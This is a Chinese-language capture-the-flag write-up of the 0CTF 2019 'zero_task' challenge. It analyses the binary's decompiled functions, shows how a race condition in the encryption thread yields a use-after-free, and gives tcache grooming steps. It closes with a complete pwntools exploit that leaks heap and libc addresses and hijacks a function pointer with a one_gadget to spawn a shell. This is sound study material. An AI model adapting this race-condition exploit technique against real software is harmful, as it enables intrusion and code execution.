zero_task条件竞争利用

前言

跟着别人的wp复现了0CTF 2019中所谓的最简单的一道pwn题(真tm难,大佬们太强了),顺面学习了一波条件竞争的利用.

参考了 https://www.anquanke.com/post/id/175401#h3-4

程序分析:

从来没做过一次add函数出来这么多chunk的题目,程序本身也看了半天才理清楚。功能是就是加解密。还有目标libc版本是2.27

add_task:

add函数会从上到下依次创建4个chunk:

1
2
3
4
存放信息的 task_info结构体 (0x80 byte
EVP_CIPHER_CTX_new 产生的 EVP_CIPHER_CTX对象 (0xb0 byte
EVP_CIPHER_CTX对象 创建的chunk (0x110 byte
存放data的chunk (根据用户输入的size创建)

task_info结构体如下:

1
2
3
4
5
6
7
8
9
10
11
00000000 chunk_info      struc ; (sizeof=0x70, mappedto_7)
00000000 data_ptr dq ?
00000008 size dq ?
00000010 choice dd ?
00000014 Key db 32 dup(?)
00000034 IV db 16 dup(?)
00000044 unkonwn db 20 dup(?)
00000058 EVP_CIPHER_CTX_ptr dq ?
00000060 task_ID dq ?
00000068 fd dq ?
00000070 chunk_info ends

其中choice就是加密还是解密(1是加密,2是解密).
这个结构体也是使用单向链表串起来的,插入方式是头插法. fd 指向上一个task

1
2
3
s->fd = link_head;
result = s;
link_head = (__int64)s;

delete函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void Delete()
{
int task_id; // [rsp+Ch] [rbp-14h]
void **ptr; // [rsp+10h] [rbp-10h]
__int64 v2; // [rsp+18h] [rbp-8h]

ptr = (void **)link_head;
v2 = link_head;
printf("Task id : ");
task_id = read_and_str2int();
if ( link_head && task_id == *(_DWORD *)(link_head + 96) )
{
link_head = *(_QWORD *)(link_head + 104); // =fd
EVP_CIPHER_CTX_free(ptr[11]);
free(*ptr); // data_chunk
free(ptr); // chunk_info
}
else
{
while ( ptr )
{
if ( task_id == *((_DWORD *)ptr + 24) )
{
*(_QWORD *)(v2 + 104) = ptr[13];
EVP_CIPHER_CTX_free(ptr[11]);
free(*ptr);
free(ptr);
return;
}
v2 = (__int64)ptr;
ptr = (void **)ptr[13];
}
}
}

这里free过后并没有将指针清为NULL,看似有UAF,其实没有,由于该结构体是用链表串起来的,free过后,就将该结构体从链表中除去,所以下次free的时候就找不到了。delete函数这里没有啥问题。

go函数:

根据用户输入的task_id,找到对应的task结构体,然后创建一个新的线程,来进行加解密:

1
2
3
4
5
6
7
8
9
10
printf("Task id : ");
task_id = read_and_str2int();
for ( arg = (chunk_info *)link_head; arg; arg = (chunk_info *)arg->fd )
{
if ( task_id == LODWORD(arg->task_ID) )
{
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);
return __readfsqword(0x28u) ^ v4;
}
}

start_routine函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u);
memset(output_chunk, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 88), // 对象
output_chunk,
&v1,
*(_QWORD *)v2, // data_ptr
(unsigned int)*(_QWORD *)(v2 + 8)) )// size
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)output_chunk + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
sub_107B(stdout, (__int64)output_chunk, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);
pthread_exit(0LL);
}

该函数在调用加解密函数之前sleep了两秒,这里就存在条件竞争。可以调用go函数之后,delete掉正在进行加解密的task,这样就可以造成UAF。

利用思路:

1
2
3
4
5
add(0)
add(1)
delete(0)
go(1)
delete(1)

go(1)后delete掉1,那么task_1的task_info中的第一项数据就会被修改成task_0的task_info_chunk的地址:

1
# [0x80] : task_1 -> task_0

注意task_info结构体的第一项是data_ptr,这样的话task_1进行加密的时候,就会把从task_0的task_info开始的空间当做 data来进行加密,就会造成leak。
但是delete掉task_1后,task_1生成的 EVP_CIPHER_CTX 和EVP_CIPHER_CTX生成的chunk都会被free掉,这样加密就会出错,我们需要delete掉task_1后,申请chunk,将task_1的EVP_CIPHER_CTX重新申请回来确保加密过程的顺利执行.
具体过程:

1
2
3
4
5
6
7
8
9
10
add(0)
add(1)
add(2)
add(3)
add(4)
delete(0)
go(1)
delete(1)
delete(2)
delete(3)

此时tcache的情况如下:

1
2
3
[0x80]  :  3->2->1->0
[0xb0] : 3->2->1->0
[0x110] : 3->2->1->0

然后

1
2
add(5,data_size=0xa0)#申请到的data chunk size为0xb0,该task会申请两个 size为0xb0的chunk
add(6)

此时tcache的情况如下:

1
2
3
[0x80]  : 1-> 0 
[0xb0] : 0
[0x110] : 1-> 0

这样就把task_1的EVP_CIPHER_CTX重新申请回来了,新创建的EVP_CIPHER_CTX对象就会重新创建一个chunk,之前的task_1的EVP_CIPHER_CTX对象创建的chunk就不用再管他了。
这样还不会申请到task_1的task_info chunk,不会破坏掉data_ptr.

劫持执行流:

根据wp得知 EVP_EncryptUpdate 会调用EVP_CIPHER_CTX对象创建的chunk中的函数指针

EVP_EncryptUpdate:

1
2
3
4
5
test    byte ptr [rax+12h], 10h
jz short loc_1208E8
movsxd rcx, r8d
mov rdx, r12
call qword ptr [rax+20h]

其中rax就是EVP_CIPHER_CTX对象创建的chunk的地址.然后会调用 rax+0x20处的函数,那么可以利用条件竞争造成的UAF修改此处为one_gadget,劫持执行流。
伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
v9 = *(_QWORD *)a1;
if ( *(_BYTE *)(*(_QWORD *)a1 + 18LL) & 0x10 )
{
v10 = (*(__int64 (__fastcall **)(signed int *, __int64, char *, _QWORD))(v9 + 32))(a1, a2, a4, a5);
if ( v10 >= 0 )
{
*v7 = v10;
return 1LL;
}
return 0LL;
}

利用脚本:

参考的文章提供的wp没法打通,可能是环境问题,我在他的思路下重新写了exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#coding= utf-8
from pwn import *
context.terminal=["tmux","splitw","-h"]
a=process("./task")
elf=ELF("./task")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

IV='A'*16
KEY='A'*32

def debug():
gdb.attach(a,'''
set scheduler-locking on
b *(0x555555554000+0x00000000000141D)
b *(0x555555554000+0x000000000001521)
''')
#add,delete
def menu(index):
a.recvuntil("Choice: ")
a.sendline(str(index))
def add(id,choice,size,data,key=KEY,iv=IV,is_go=False):
if is_go==False:
menu(1)
else:
a.sendline("1")
a.recvuntil("Task id : ")
a.sendline(str(id))
a.recvuntil("Encrypt(1) / Decrypt(2): ")
a.sendline(str(choice))
a.recvuntil("Key : ")
a.send(key)
a.recvuntil("IV : ")
a.send(IV)
a.recvuntil("Data Size : ")
a.sendline(str(size))
a.recvuntil("Data : ")
a.send(data)
def delete(id):
menu(2)
a.recvuntil("Task id : ")
a.sendline(str(id))
def go(id):
menu(3)
a.recvuntil("Task id : ")
a.sendline(str(id))
# chunk_info 0x80 , EVP_CIPHER_CTX 0xb0, EVP_CIPHER_CTX建的chunk 0x110 , data_chunk size可控
add(0,1,0x100,'A'*0x100)
add(1,1,0x100,'A'*0x100)
add(2,1,0x100,'A'*0x100)
add(3,1,0x100,'A'*0x100)

add(4,1,592,'A'*592)
add(5,1,0x70,'A'*0x70)
add(6,1,0x70,'A'*0x70)
add(7,1,0x70,'A'*0x70)

for i in range(4):
delete(i)

go(4)
delete(4)
delete(5)
delete(6)
#0xb0: 6->5->4
#unsorted bin(0x110): 6->5->4
add(8,1,0xa0,'A'*0xa0)#得到 4的EVP_CIPHER_CTX建的chunk,顺面拿出两个0xb0的chunk, 0xb0: 4
add(9,1,0xa0,'A'*0xa0)#得到 4的EVP_CIPHER_CTX

a.recvuntil("Ciphertext: \n")

string=""
for i in range(0,38):
temp=a.recvline().split()
for i in temp:
string+=chr(int(i,16))

add(10,2,len(string),string,is_go=True) #解密
go(10)
a.readuntil('Ciphertext: \n')

temp=[]
for i in range(6):
temp.append(a.recv(3)[:2])
temp.reverse()
heap_base=int("".join(temp),16)-0x1920
success("heap_base ==> 0x%x"%heap_base)

a.recvuntil("11 01 00 00 00 00 00 00 \na0 ")
temp=['a0']
for i in range(5):
temp.append(a.recv(3)[:2])
temp.reverse()
libc_base=int("".join(temp),16)-352-libc.symbols["__malloc_hook"]-0x10
success("libc_base ==> 0x%x"%libc_base)
add(20,1,0x1,'A',is_go=True)#0x555555758650
add(21,1,0x1,'A')
go(20)
delete(20)
delete(21)
#0xb0:21->20

dest_chunk=heap_base+0x1650
one_gadget=libc_base+0x10a38c
success("one_gadget_addr ==> 0x%x"%one_gadget)
payload=p64(dest_chunk)+'\x00'*10+'\x10'# test byte ptr [rax+12h], 10h
payload=payload.ljust(32,'\x00')
payload+=p64(one_gadget)+p64(0)+p64(0)
payload=payload.ljust(0xa0,'\x00')
add(24,1,0xa0,payload)#data_chunk = task_20的EVP_CIPHER_CTX chunk
a.interactive()